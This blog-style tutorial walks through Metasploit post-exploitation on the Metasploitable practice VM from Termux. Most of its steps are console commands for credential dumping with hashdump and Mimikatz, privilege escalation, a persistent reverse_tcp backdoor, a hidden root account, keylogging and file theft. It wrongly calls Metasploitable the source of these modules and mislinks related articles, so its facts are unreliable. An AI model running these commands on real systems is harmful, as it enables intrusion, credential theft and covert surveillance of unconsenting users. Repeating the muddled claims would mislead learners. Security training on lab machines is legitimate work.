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They told me Metasploitable was just for practice—then I found real-world lessons buried in the post-exploit phase.

I still remember the first time I landed a shell on Metasploitable.

There I was, hunched over an old Android phone running Termux, heart racing like I’d cracked something real—even though I knew it was just a vulnerable box. I expected fireworks. Instead, I stared at a blinking prompt, unsure of what came next. The exploit worked. But now what?

That question—“what happens after access?”—haunted me more than the exploit itself.

This is where many beginners stop. But it’s also where ethical hacking really begins. Post-exploitation isn’t just about poking around. It’s about learning how systems behave under your control, understanding security hygiene, and recognizing what’s truly at stake. And Metasploitable? It’s still one of the most powerful tools to explore this phase—ethically, locally, and with nothing but FOSS tools.

In this guide, I’ll walk you through what to do after the shell drops. We’ll use Metasploitable in Termux—no high-end gear, no gatekeeping, just free tools and real insight.

If you’re ready to go beyond the exploit, keep reading. This is where the real lessons begin.

⚠️ Important: These tools are intended for ethical hacking, security research, and education. Use them only on systems and networks you own or have permission to test. Unauthorized use can lead to serious legal consequences.

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Table of Contents

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• What is Metasploitable?
• Understanding Post-Exploitation with Metasploitable
  • Prerequisites
• Key Post-Exploitation Techniques with Metasploitable
  • Step 1: Gathering System Information
  • Step 2: Dumping Passwords and Credentials
  • Step 3: Privilege Escalation
  • Step 4: Maintaining Persistence
  • Step 5: Advanced Post-Exploitation Modules
• Go Beyond the Shell—The Real Lessons Are Just Beginning

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What is Metasploitable?

Metasploitable is a vulnerable virtual machine designed specifically for penetration testing and security training. It serves as a target for security professionals and ethical hackers to practice their skills in a controlled environment. The Metasploitable project is part of the Metasploit Framework and includes a variety of known vulnerabilities that can be exploited, making it an ideal platform for testing and enhancing penetration testing techniques.

By using Metasploitable, ethical hackers can learn about various attack vectors and how to defend against them. It provides a safe space to explore vulnerabilities, experiment with exploits, and understand the underlying mechanics of security breaches without the risk of affecting real-world systems.

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Understanding Post-Exploitation with Metasploitable

Once you gain access to a target system using Metasploitable, the real work begins in the post-exploitation phase. Post-exploitation refers to the various techniques and actions you can perform on the compromised machine, ranging from gathering system information to maintaining persistent access. These tasks allow penetration testers to extract useful data, escalate privileges, and make the most out of their exploits.

Using Metasploitable in Termux provides a powerful way to automate post-exploitation techniques. Whether you’re dumping passwords, elevating privileges, or setting up persistence, Metasploitable offers several modules that streamline the process. For more in-depth guides on Metasploit setup and usage, visit Metasploit’s official documentation.

Prerequisites

Before you can begin working with post-exploitation, ensure you have the following:

• Metasploitable installed and configured in Termux.
• Rooted Android device with Termux and PostgreSQL support.
• An active session from a successful exploit via Metasploit.

If you need guidance on setting up Metasploit and Metasploitable, check out our related article Setting Up a Metasploit Database in Termux for Faster Operations.

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Key Post-Exploitation Techniques with Metasploitable

Step 1: Gathering System Information

The first task after gaining access to a system is to gather as much information as possible. This includes details like OS version, architecture, running processes, and network configuration. In Metasploitable, you can use the sysinfo command to collect basic system details:

sysinfo

To go beyond the basics, Metasploitable provides more specific modules for gathering deeper insights into the target system, such as enumerating installed applications or network services.

post/multi/gather/enum_network

Refer to our guide on Basic Network Scans Using Nmap in Termux for additional network discovery techniques.

Step 2: Dumping Passwords and Credentials

Once inside a target system, extracting credentials is a key post-exploitation activity. Metasploitable offers several modules for retrieving password hashes, tokens, and stored credentials. For Windows targets, you can dump password hashes using:

use post/windows/gather/hashdump
run

For Linux targets, retrieve passwords and credentials via:

use post/linux/gather/hashdump

Additionally, you can use Mimikatz to retrieve plaintext passwords and other stored credentials from memory:

use post/windows/gather/credentials/mimikatz
run

For more on extracting passwords using Metasploitable, see our related post Automating Exploits in Metasploit: Scripting Attacks in Termux.

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Step 3: Privilege Escalation

After dumping credentials, the next step is to escalate your privileges. Privilege escalation allows you to gain higher-level access, enabling you to execute more powerful commands and view restricted data. In Metasploitable, there are numerous privilege escalation modules available. For instance, on Windows systems:

use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set SESSION <session_id>
run

For Linux privilege escalation, try the Dirty COW exploit:

use exploit/linux/local/dirtycow
set SESSION <session_id>
run

This article on Advanced Nmap Scanning in Termux can offer further insights into advanced network vulnerabilities that can assist in privilege escalation.

Step 4: Maintaining Persistence

To ensure long-term control over a compromised system, you need to set up persistence. Metasploitable offers several ways to achieve this, including installing backdoors or creating hidden user accounts. To establish a persistent backdoor on Windows:

use exploit/windows/local/persistence
set SESSION <session_id>
set PAYLOAD windows/meterpreter/reverse_tcp
run

On Linux systems, create a new user with root access:

use post/linux/manage/add_user
set USER rootadmin
set PASS strongpassword

Check out Tips for Securing Your Termux Environment for advice on how to protect against such attacks.

Step 5: Advanced Post-Exploitation Modules

In addition to the standard post-exploitation tools, Metasploitable offers advanced modules for specific tasks like keylogging, webcam spying, and filesystem manipulation. For example, to start keylogging on a Windows system:

use post/windows/capture/keylog_recorder
run

To access and download files from a target system:

use post/multi/manage/download_file
set SESSION <session_id>
set REMOTE_PATH /path

For an in-depth exploration of keylogging techniques, see Visualizing Network Topology Using Nmap Scan Results.

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Go Beyond the Shell—The Real Lessons Are Just Beginning

The post-exploit phase isn’t some elite domain reserved for veteran pentesters. It’s where you learn to observe, analyze, and even defend—by thinking like an attacker. With Metasploitable and Termux, you don’t need expensive labs or cloud platforms. You just need curiosity, a little terminal kung-fu, and a commitment to ethical hacking.

If you’ve made it this far, you’re already thinking differently. You’re not satisfied with just running tools—you want to understand what they do and why it matters.

That mindset? That’s what separates script kiddies from ethical hackers.

Want more deep-dive walkthroughs like this—rooted in real tools, FOSS values, and practical lessons?

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⚠️ Important: These tools are intended for ethical hacking, security research, and education. Use them only on systems and networks you own or have permission to test. Unauthorized use can lead to serious legal consequences.